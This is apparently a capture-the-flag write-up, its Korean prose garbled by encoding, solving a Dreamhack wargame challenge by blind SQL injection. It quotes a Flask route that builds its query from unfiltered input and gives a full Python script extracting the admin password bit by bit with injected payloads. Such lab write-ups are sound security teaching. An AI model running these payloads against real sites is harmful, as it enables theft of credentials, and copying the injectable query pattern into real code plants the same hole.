1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/411
2. ํด๊ฒฐ ๊ณผ์
๋ฌธ์ ์ '๊ด๋ฆฌ์์ ๋น๋ฐ๋ฒํธ๋ "์์คํค์ฝ๋"์ "ํ๊ธ"๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค.' ๋ผ๊ณ ์์ฑ๋์ด ์๋ค.
์ฆ, ๋ฐ์ดํฐ๊ฐ ๋ฐ๋์ ์์คํค ๋ฒ์๋ก ๊ตฌ์ฑ๋๋ ๊ฒ์ ์๋๋ผ๋ ๊ฒ์ด๋ค.
๋ฌธ์ ํ๋ฉด์๋ uid๋ฅผ ์ ๋ ฅ๋ฐ๋ form์ด ์กด์ฌํ๋ค.
test๋ฅผ ์ ๋ ฅํด๋ณด๋ ์กด์ฌํ๋ค๋ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.
์ด๋ admin๋ ๋ง์ฐฌ๊ฐ์ง์๋ค.
๋ค์์ผ๋ก ์ฝ๋๋ฅผ ๋ณด๋ฉด, / ๊ฒฝ๋ก์ GET ๋ฉ์๋๋ก uid ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์ด์ฉ์ ์ ๋ ฅ์ ์ ๋ฌ๋ฐ๋๋ค.
์ด๋ ์ ๋ฌ๋ฐ์ ๋ฐ์ดํฐ์ ๋ํด ํํฐ๋ง์ด ์ ํ ์กด์ฌํ์ง ์๊ธฐ ๋๋ฌธ์ sql injection ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
์ด๋, ์ฟผ๋ฆฌ ์คํ์ ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋๋ก ์ถ๋ ฅํด์ฃผ์ง ์๊ณ , ์ฟผ๋ฆฌ ์ฑ๊ณต์ ์ฌ๋ถ๋ง ์ ์ ์๊ธฐ ๋๋ฌธ์ Blind SQL Injection์ ์ด์ฉํด ๊ณต๊ฒฉํด์ผ ํ๋ค.
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
๋ฐ๋ผ์ ' ๋ฌธ์๋ก ์ฟผ๋ฆฌ๋ฅผ ๋๋ด๊ณ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ฟผ๋ฆฌ๋ฅผ ์ฝ์ ํ์ฌ SQL Injection ๊ณต๊ฒฉ์ ์ํํ ์ ์๋ค.
1. admin ํจ์ค์๋ ๊ธธ์ด ์ฐพ๊ธฐ
- char_length ํจ์๋ฅผ ์ฌ์ฉ
- ๋ฌธ์์ด ์ธ์ฝ๋ฉ์ ๋ฐ๋ฅธ ์ ํํ ๊ธธ์ด๋ฅผ ๊ณ์ฐํ๊ธฐ ์ํด์๋ char_length ํจ์๋ฅผ ์ฌ์ฉํด์ผ ํจ
- length ํจ์๋ ๋ฌธ์์ด์ bytes ํํ๋ก ํํํ์์ ๋์ ๊ธธ์ด๋ฅผ ๋ฐํํ๋ ํจ์
- ์ฆ, ์ธ์ฝ๋ฉ์ ๊ด๊ณ์์ด ์ ์ฒด ๋ฌธ์์ด์ ํํํ๋๋ฐ์ ์ฌ์ฉ๋๋ ๋ฐ์ดํธ์ ์๋ฅผ ๋ฐํํ๊ธฐ ๋๋ฌธ์ ๋ง์ฝ ์์คํค์ฝ๋๋ก ๋ฌธ์์ด์ด ๊ตฌ์ฑ๋์ด์์ง ์๋ค๋ฉด, ์ฌ๋ฐ๋ฅด์ง ์์ ๊ฐ์ ๋ฐํํ ์ ์
from requests import get
host = "๋ฌธ์ ์ ์ ์ ๋ณด"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
2. ๊ฐ ๋ฌธ์ ๋ณ ๋นํธ์ด ๊ธธ์ด ์ฐพ๊ธฐ
ํจ์ค์๋์ ๊ฐ ๋ฌธ์๊ฐ ํ๊ธ์ธ์ง ์์คํค์ฝ๋์ธ์ง ์ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ํ๋จํ๊ธฐ ์ํด์ ๊ฐ ๋ฌธ์๋ฅผ ๋นํธ์ด๋ก ํํํ์ ๋์ ๊ธธ์ด๋ฅผ ์์๋ด์ผ ํ๋ค.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
3. ๊ฐ ๋ฌธ์ ๋ณ ๋นํธ์ด ์ถ์ถ
ํจ์ค์๋ ๋ณ ๊ฐ ๋ฌธ์์ ํด๋นํ๋ ๋นํธ์ด์ ์ถ์ถํ๋ค.
์ด๋ ์์คํค์ฝ๋์ ๊ฒฝ์ฐ ์ต๋ 8๋ฒ, ํ๊ธ์ ๊ฒฝ์ฐ ์ต๋ 24๋ฒ์ ์์ฒญ์ผ๋ก ์ถ์ถํ ์ ์๋ค.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
4. ๋นํธ์ด์ ๋ฌธ์๋ก ๋ณํ
์ถ์ถํ ๋นํธ์ด์ ๋ฌธ์๋ก ๋ณํํ๋ค. ์ด ๋ ๊ฐ ๋ฌธ์์ ์ธ์ฝ๋ฉ์ด utf-8 ์ด์์์ ๊ฐ์ํด์ผ ํ๋ค.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
์ต์คํ๋ก์ ์ฝ๋
from requests import get
host = "http://host3.dreamhack.games:15691"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
ํด๊ฒฐ